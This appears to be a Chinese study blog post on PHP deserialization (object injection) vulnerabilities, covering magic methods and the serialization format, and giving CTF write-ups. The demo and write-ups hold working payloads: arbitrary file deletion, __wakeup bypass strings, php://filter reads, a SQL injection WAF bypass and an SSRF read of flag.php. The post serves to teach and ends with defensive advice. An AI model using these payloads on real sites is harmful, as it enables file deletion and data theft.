本篇笔记参考了以下文章:
php反序列化漏洞-vergilben的学习日记-CSDN博客_php反序列化
PHP反序列化漏洞——漏洞原理及防御措施-cldimd的博客-CSDN博客_php反序列化漏洞原理
0x01 关于php面向对象编程:
对象:可以对其做事情的一些东西。一个对象有状态、行为和标识三种属性。 类:一个共享相同结构和行为的对象的集合。 每个类的定义都以关键字class
开头,后面跟着类的名字。一个类可以包含有属于自己的变量,变量(称为“属性”)以及函数(“称为方法”)。类定义了一件事物的抽象特点。通常来说,类定义了事物的属性和它可以做到的。
类可能会包含一些特殊的函数叫magic函数
,magic函数命名是以符号_
开头的,比如_construct,_destruct,_toString,_sleep,_wakeup
等。这些函数在某些情况下会自动调用,比如:_construct
当一个对象创建时调用(constructor);_destruct
当一个对象被销毁时调用(destructor);_toString
当一个对象被当作一个字符串时使用。
0x02 了解php对象概念以及php对象的一些简单特性:
我们先创建一个简单的php对象
<?php
class TestClass{
//一个变量
public $variable = 'This is a string';
//一个简单的方法
public function PrintVariable(){
echo $this->variable;
}
}
//创建一个对象
$object = new TestClass();
//调用一个方法
$object->PrintVariable();
?>
接下来开始尝试使用magic函数,在类中添加一个magic函数
<?php
class TestClass{
//一个变量
public $variable = 'This is a string';
//一个简单的方法
public function PrintVariable(){
echo $this->variable.' ';
}
//Constructor
public function __construct(){
echo '__construct ';
}
//Destructor
public function __destruct(){
echo '__destruct ';
}
//call
public function __toString(){
return '__toString ';
}
}
//创建一个对象
//这时__construct会被调用
$object = new TestClass();
//调用一个方法
//‘This is a string’将会被输出
$object->PrintVariable();
//object对象被当作一个字符串
//这时toString会被调用
echo $object;
//php脚本要结束时,__destruct会被调用
?>
从结果看,这几个magic函数依次被调用了,这个可以帮助我们很直观的理解php的魔法函数。
0x03 什么是PHP的序列化与反序列化:
在研究PHP反序列化漏洞之前,先了解一下什么是PHP的序列化
PHP的序列化是指将对象转换为字符串。
PHP的反序列化是指将特定格式的字符串转换为对象。
PHP的序列化只序列化属性,不序列化方法。
在传递变量的过程中,有可能遇到变量值要跨脚本文件传递的过程。如果一个脚本中想要的调用之前一个脚本的变量,但是之前一个脚本已经执行完毕,所有的变量和内容释放掉了,那该如何操作呢?serialize
和unserialize
就是解决这一问题的存在.
serialize
可以将对象转换为字符串,并且在转换的过程中可以保存当前对象的对象名,参数个数,参数名称及值,
而unserialize
则可以将serialize
生成的字符串转换回对象。
通俗来说:通过反序列化在特定条件下可以重建php对象并执行php对象中某些magic函数。
同样还是借助一个程序来理解一下PHP对象序列化之后的格式:
<?php
//一个类
class User{
//类的数据
public $age = 0;
public $name = '';
//输出数据
public function printdata(){
echo 'User '.$this->name.' is '.$this->age.' years old.\n';
}
}
//创建一个对象
$usr = new User();
//设置数据
$usr->age = 18;
$usr->name = 'M0urn';
//输出数据
$usr->printdata();
//输出序列化后的数据
echo serialize($usr)
?>
可以看到User对象的名称、所含变量数、变量名与值全部以字符串形式被输出了。
分析一下得到的结果:
O:4:”User”:2:{s:3:”age”;i:18;s:4:”name”;s:5:”M0urn”;}
O
代表对象,4
表示对象名长度为4,"User"
为对象名,2
表示有两个参数,{}
中的是参数名与值的键值对,s
表示String对象,3
表示参数名长度为3,"age"
表示参数名,i
表示Interger对象,18
是参数值。后面参考前面的,不多赘述。
再进行反序列化试试
<?php
//一个类
class User{
//类的数据
public $age = 0;
public $name = '';
//输出数据
public function printdata(){
echo 'User '.$this->name.' is '.$this->age.' years old.';
}
}
//重建对象
$usr = unserialize('O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:9:"vergilben";}');
//输出数据
$usr->printdata();
?>
可以看到序列化出来的字符串被反序列化为了正常的语句了
实例化数组对象来看更加清晰明了:
//实例化一个关联数组
$arr=array();
$arr['name']='张三';
$arr['age']='22';
$arr['sex']='男';
$arr['phone']='123456789';
$arr['address']='上海市浦东新区';
var_dump($arr);
输出结果:
序列化操作:
$info=serialize($arr);
var_dump($info);
输出结果:
反序列化操作:
$zhangsan=unserialize($info);
var_dump($zhangsan);
输出结果:
关于访问控制修饰符对序列化字符串的影响
根据访问控制修饰符的不同,序列化字符串的属性长度和属性值会有所不同,所以这里整理一下
public
protected //%00*%00属性名
private //%00类名%00属性名
protected属性被序列化的时候属性值会变成%00*%00属性名 private属性被序列化的时候属性值会变成%00类名%00属性名
(%00为空白符,空字符也有长度,一个空字符长度为 1)
//测试代码
<?php
class mourn{
public $name = "M0urn";
protected $school = "ytvc";
private $flag = "test";
}
$mourn = new mourn();
echo serialize($mourn);
?>
可以看到,protected的school属性原本长度为6,加上了*
和两个%00
,长度变成了9;
而private的flag属性则是%00mourn(类名)flag(属性名)%00
,长度为11。
0x04 魔术方法
魔术方法 | 触发方法 |
---|---|
__construct(): | 当对象创建(new)时会自动调用。但在 unserialize() 时是不会自动调用的。(构造函数) |
__destruct(): | 当对象被销毁时会自动调用。(析构函数) |
__wakeup(): | 使用unserialize时触发 |
__sleep(): | 使用serialize时触发 |
__call(): | 在对象上下文中调用不可访问的方法时触发 |
__callStatic(): | 在静态上下文中调用不可访问的方法时触发 |
__get(): | 用于从不可访问的属性读取数据 |
__set(): | 用于将数据写入不可访问的属性 |
__isset(): | 在不可访问的属性上调用isset()或empty()触发 |
__unset(): | 在不可访问的属性上使用unset()时触发 |
__toString(): | 把类当作字符串使用时触发 |
__invoke(): | 当脚本尝试将对象调用为函数时触发 |
其中的__toString
触发的条件较多:
- echo (
$obj
) / print($obj
) 打印时会触发 - 反序列化对象与字符串连接时
- 反序列化对象参与格式化字符串时
- 反序列化对象与字符串进行\=\=比较时(PHP进行\=\=比较的时候会转换参数类型)
- 反序列化对象参与格式化SQL语句,绑定参数时
- 反序列化对象在经过php字符串函数,如
strlen()
、addslashes()
时 - 在in_array()方法中,第一个参数是反序列化对象,第二个参数的数组中有
toString
返回的字符串的时候toString
会被调用 - 反序列化的对象作为class_exists()的参数的时候
//来自威哥的反序列化笔记
0x05 什么是PHP反序列化漏洞:
PHP反序列化漏洞也叫PHP对象注入,是一个非常常见的漏洞,这种类型的漏洞虽然有些难以利用,但一旦利用成功就会造成非常危险的后果。漏洞的形成的根本原因是程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而造成代码执行、getshell等一系列不可控的后果。反序列化漏洞并不是PHP特有,也存在于Java、Python等语言之中,但其原理基本相通。
一般程序在创建的时候,都会重写析构函数和构造函数,反序列化就是利用这些重写的函数。
成因: 我们知道magic函数是php对象的特殊函数,在某些特殊情况下会被调用,这下特殊情况当然包含serialize和unserialize。 __sleep
magic方法在一个对象被序列化时调用,__wakeup
magic方法在一个对象被反序列化时调用。
以下面的程序为例:
<?php
class test{
public $variable = 'M0urn';
public $variable2 = 'OTHER';
public function printvariable(){
echo $this->variable.'<br />';
}
public function __construct(){
echo '__construct'.'<br />';
}
public function __destruct(){
echo '__destruct'.'<br />';
}
public function __wakeup(){
echo '__wakeup'.'<br />';
}
public function __sleep(){
echo '__sleep'.'<br />';
return array('variable','variable2');
}
}
//创建一个对象,这时会调用__construct
$M0urn = new test();
//序列化一个对象,这时会调用__sleep
$serialized = serialize($M0urn);
//输出序列化后的字符串
print 'Serialized:'.$serialized.'<br />';
//重建对象,会调用__wakeup
$object2 = unserialize($serialized);
//调用printvariable,会输出数据(BUZZ)
$object2->printvariable();
//脚本结束,销毁了两个对象,会调用两次__destruct
?>
__construct
__sleep
Serialized:O:4:”test”:2:{s:8:”variable”;s:4:”M0urn”;s:9:”variable2″;s:5:”OTHER”;}__wakeup
M0urn__destruct
__destruct
可以看到实例化对象时调用了__construct
,serialize时调用了__sleep
,unserialize时调用了__wakeup
,在对象被销毁的时候用了__destruce
,程序结束时销毁两个对象,调用了两次__destruct
。
存在漏洞的思路:
一个类用于临时将日志储存进某个文件,当__destruct被调用时,日志文件将会被删除,比如:
//LogStore.php
<?php
class logfile{
//log文件名
public $filename = 'error.log';
//一些用于储存日志的代码
public function logdata($text){
echo 'log data:'.$text.'<br />';
file_put_contents($this->filename,$text,FILE_APPEND);
//file_put_contents()函数把一个字符串写入文件中。
}
//destrcuctor 删除当前目录下日志文件
public function __destruct(){
echo '__destruct deletes '.$this->filename.'file.<br />';
unlink(dirname(__FILE__).'/'.$this->filename);
//unlink()函数用于删除文件
//dirname给出一个包含有指向一个文件的全路径的字符串,本函数返回去掉文件名后的目录名
//__FILE__被称为PHP魔术常量,返回当前执行PHP脚本的完整路径和文件名,包含一个绝对路径
//这两个组合起来就是获取了当前所处目录的绝对路径
}
}
?>
需要注意:dirname()
纯粹基于输入字符串操作, 它不会受实际文件系统和类似 ..
的路径格式影响。
关于file_put_content()函数:
可以把一个字符串写入文件中。有四个参数
参数名 | 参数内容 |
---|---|
file | 必需。规定要写入数据的文件。如果文件不存在,则创建一个新文件。 |
data | 必需。规定要写入文件的数据。可以是字符串、数组或数据流。 |
mode | 可选。规定如何打开/写入文件。可能的值:FILE_USE_INCLUDE_PATHFILE_APPENDLOCK_EX |
context | 可选。规定文件句柄的环境。context 是一套可以修改流的行为的选项。 |
再写一个文件调用这个类:
//LouDong.php
<?php
include 'LogStore.php';
class User{
//类数据
public $age = 18;
public $name = 'M0urn';
//输出数据
public function PrintData(){
echo 'User name:'.$this->name.' &age:'.$this.age;
}
}
//重建数据
$user = unserialize($_GET['usr_serialize']);
?>
可以看到$user = unserialize($_GET['usr_serialize']);
这一句是可控的,那么我们就可以通过构造输入一个序列化的字符串来注入,达到删除任意文件的效果。
可以试一下构造输入删除index.php文件
//Injection.php
<?php
include 'LogStore.php';
$object = new logfile();
$object->filename = 'index.php';
echo serialize($object);
?>
这个地方我大概是理解为,例子中具有删除文件功能的方法是魔术方法__destruct()
,只要实例化一个logfile对象并给filename变量赋值你想删除的文件即可删除该文件。因为只要程序结束,有对象被销毁,就会自动触发__destruct()
方法,删除你赋值的文件名对应的文件。(运行Injection.php文件的过程)
另外,由于LouDong.php中有可控的反序列化语句,所以我们可以实例化一个对象并将其序列化
,通过GET方法将序列化的结果传递上去,即可通过反序列化函数让user变量成为一个新的对象,然后程序结束,对象被销毁,触发__destruct()
方法,文件被删除(通过LouDong.php进行注入的过程)。
可以看到运行Injection.php后已经删除了指定的index.php。
下面的第二次运行会提示不存在这个文件
0x06 PHP反序列化漏洞的利用方法:
- 寻找 unserialize() 函数的参数是否有我们的可控点
- 寻找我们的反序列化的目标,重点寻找 存在
__wakeup()
或__destruct()
魔法函数的类 - 一层一层地研究该类在魔法方法中使用的属性和属性调用的方法,看看是否有可控的属性能实现在当前调用的过程中触发的
- 找到我们要控制的属性了以后我们就将要用到的代码部分复制下来,然后构造序列化,发起攻击
0x07 常规PHP反序列化漏洞
__wakeup()魔术方法的绕过
当序列化字符串表示对象属性个数的数字值大于真实类中属性的个数时就会跳过__wakeup的执行。
例题参考:0x08 CTF例题–BUUCTF-Web-[极客大挑战2019]PHP
__destruct()魔术方法
当一个对象被销毁时会调用__destruct()方法。这个我在0x05中编写代码简单复现过一次这个漏洞。
例题参考:0x08 CTF例题–BUUCTF-Web-[网鼎杯 2020 青龙组]AreUSerialz
__toString()魔术方法
本节围绕着一个问题,如果在代码审计中有反序列化点,但是在原本的代码中找不到pop链该如何? N1CTF有一个无pop链的反序列化的题目,其中就是找到php内置类来进行反序列化。
__toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj;
应该显示些什么。此方法必须返回一个字符串。
__toString当对象被当作一个字符串使用时候调用(不仅仅是echo
的时候,比如file_exists()判断也会触发)
(此处为转载自一篇文章,关于__toString()魔术方法的考察没怎么碰到过,所以就不太理解)
0x08 CTF例题:
BUUCTF-Web-[极客大挑战2019]PHP
考察点:网站备份文件泄露、PHP反序列化之__wakeup()
魔法函数的绕过
根据提示,可能存在备份文件泄露,用dirsearch扫一下
./dirsearch.py -u [url]
扫到一个www.zip,打开发现是网站的备份源码
查看flag.php
这个是虚晃你的flag,没用
index.php这里发现一个反序列化
再去看看class.php
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
可以看到有好几个魔术方法,可以去利用一下
可以看到__destruct()
方法中存在对username的判断,如果username这个变量值为admin且password为100,则可以在对象销毁时输出flag。
但是再看一下发现__wakeup()
方法会使其在反序列化时使username变成guest,需要进行绕过
先构造序列化
<?php
class Name
{
private $username = "yesyesyes";
private $password = "nonono";
public function __construct($username,$password)
{
$this->username=$username;
$this->password=$password;
}
}
$a = new Name(@admin,100);
$b = serialize($a);
echo $b."<br>"; //输出序列化
//echo urlencode($b); //输出url编码后的序列化
?>
序列化之后是这样的
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
调用unserialize()
时会自动调用魔法函数wakeup(),可以通过改变属性数绕过
把Name
后面的2改为3或以上即可
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
然后因为url识别不了"
,所以改为%22
O:4:%22Name%22:3:{s:14:%22Nameusername%22;s:5:%22admin%22;s:14:%22Namepassword%22;i:100;}
因为成员(属性)是private,所以要在类名和成员名前加%00
,这个url编码是空的意思。因为生产序列化时不会把这个空
也输出。
O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}
也可以直接用序列化后的url编码,依然是改一下Name后面的数量。
这里要注意,php的urlencode()
是会自动把空
编码成%00
所以最终的payload为:
?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}
或
?select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D
拿到flag。
BUUCTF-Web-[ZJCTF 2019]NiZhuanSiWei
直接是代码审计
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
可以看到接受了三个GET参数,存在两个判断和一个反序列化的考察
首先需要绕过第5行对text的检查,要求读取以text值为名的文件,该文件内容为welcome to the zjctf
这里就可以利用data://伪协议来将文件内容写入进去,然后让file_get_contents()函数进行读取,payload如下
?text=data://text/plain,welcome to the zjctf
再来看看第二个检查,正则过滤了flag关键字,看提示useless.php
用php://filter伪协议来读取useless.php
?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php
很接近了,指定$file为flag.php然后序列化出字符串来即可
<?php
class Flag{
public $file="flag.php";
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$a=new Flag();
echo serialize($a);
?>
所以最终的flag就是
?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
F12看到flag
BUUCTF-Web-[网鼎杯 2020 青龙组]AreUSerialz
代码审计,代码如下
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
//$s的合法性检测,如果ascii码不在32-125范围内,则返回false
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
78行,反序列化的考察
76,77判断输入的值是否合法并强制转换为字符串
代码的大致流程
新建对象触发__construct()
魔术方法,17行转入process()
,我们可以看到__construct()
方法中有个op变量,如果这个变量的值为1,则转入write()
函数,如果为2则转入read()
函数。
write()
函数是向filename变量指定的文件中写入content变量的内容,并且长度不超过100;
read()
函数是读取filename指定的文件内容。
当对象销毁(也就是程序结束时),会触发__destruct()
魔术方法,如果op变量是2则会重置为1,且content变量内容会赋值为空,并转入process()
绕过防护
我们的目的是通过read()函数读取flag.php中的flag,所以op变量需要等于2,所以需要传入一个序列化之后的类对象并绕过is_valid()
和__destruct()
两层防护
is_valid()
这个方法要求我们传入的str的每个字母的ascii值在32和125之间。因为protected属性在序列化之后会出现不可见字符\00*\00,不符合上面的要求。
绕过方法: 因为php7.1以上的版本对属性类型不敏感,所以可以将属性改为public,public属性序列化不会出现不可见字符
__destruct()魔术方法
魔术方法中的op==="2"
是强比较,而在process()函数中op=="2"
是弱比较,所以我们可以使传入的op为数字2,这样第一个process()中的判断会通过,而魔术方法中判断会不通过,如此一来op便不会被重置为1.
进行本地序列化
<?php
class FileHandler{
public $op = 2;
public $filename = "flag.php";
public $content = "M0urn";
}
$a = new FileHandler();
$b = serialize($a);
echo $b;
?>
F12看到flag。
BUUCTF-Web-[网鼎杯 2018]Fakebook
一开始是这么个页面
join试了试,填写用户名密码年龄博客地址,提交成功回来之后有了记录,但是没login那个按钮了
不过问题不大,访问login.php依然可以去测试,这里我们先试试这个username的页面
好像没啥信息,但是在url中发现一个注入点
1 and 1=1和1 and 1=2测试发现是数值型注入
试试可显字段
直接联合查询会报错,因为有WAF过滤了union select关键字,中间加个/**/绕过
可显字段为2,且发现一个unserialize()的信息,怀疑这道题可能还存在反序列化的考察
查当前库,fakebook
view.php?no=0 union/**/select 1,database(),3,4 %23
查表名,users
view.php?no=0 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook'%23
查字段
view.php?no=0 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'%23
查一下username,passwd,data字段的内容
view.php?no=0 union/**/select 1,group_concat(username),3,4 from fakebook.users %23
username:test
passwd: 3c9909afec25354d551dae21590bb26e38d53f2173b8d3dc3eee4c047e7ab1c1eb8b85103e3be7ba613b31bb5c9c36214dc9f14a42fd7a2fdb84856bca5c44c2
data:O:8:"UserInfo":3:{s:4:"name";s:4:"test";s:3:"age";i:111;s:4:"blog";s:7:"111.com";}
这个data的值是我们个人资料的反序列化数据,可以尝试使用ssrf去读取flag,但是我们不知道flag存放的位置,用bp扫一下(dirsearch扫的太快不知道怎么改扫描速度,手头有字典就用了bp)
结合前面的sql报错信息得知flag文件路径为/var/www/html/flag.php
查看robots.txt看一下有没有敏感的文件
找到了一个网站备份文件,下下来看看
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
是一个判断blog信息是否合法并获取blog信息的程序,其中的get()函数存在SSRF,可以利用起来进行任意文件读取。
到这这个网站的信息就了解的差不多了,大致流程就是网站获取我们的获取我们的blog的信息,将其序列化成字符串储存进data里面,当使用的时候再反序列化调出来。所以我们直接通过注入查询,设置blog的值然后页面读取出来。序列化的字符串都给出来了,稍加修改即可
O:8:"UserInfo":3:{s:4:"name";s:4:"test";s:3:"age";i:111;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
payload:(这里由于有4个字段,第二个是username,所以猜测4是blog,搜索这个序列化字符串就相当于将data设置为了我们指定的内容,即可反序列化出一个我们想要的对象,即可实现ssrf,让服务器去读取我们想要的内容来显示在页面上)
view.php?no=0 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:4:"test";s:3:"age";i:111;s:4:"blog";s:29:"file:///var/www/html/flag.php";}' %23
F12拿到flag
0x09 其他:
unserialize漏洞依赖几个条件:
- unserialize函数的参数可控
- 脚本中存在一个构造函数(
__construct()
)、析构函数(__destruct()
)、__wakeup()
函数中有向php文件中写数据的操作的类 - 所写的内容需要有对象中的成员变量的值
防范的方法有:
- 严格控制unserialize函数的参数,坚持用户所输入的信息都是不可靠的原则
- 对于unserialize后的变量内容进行检查,以确定内容没有被污染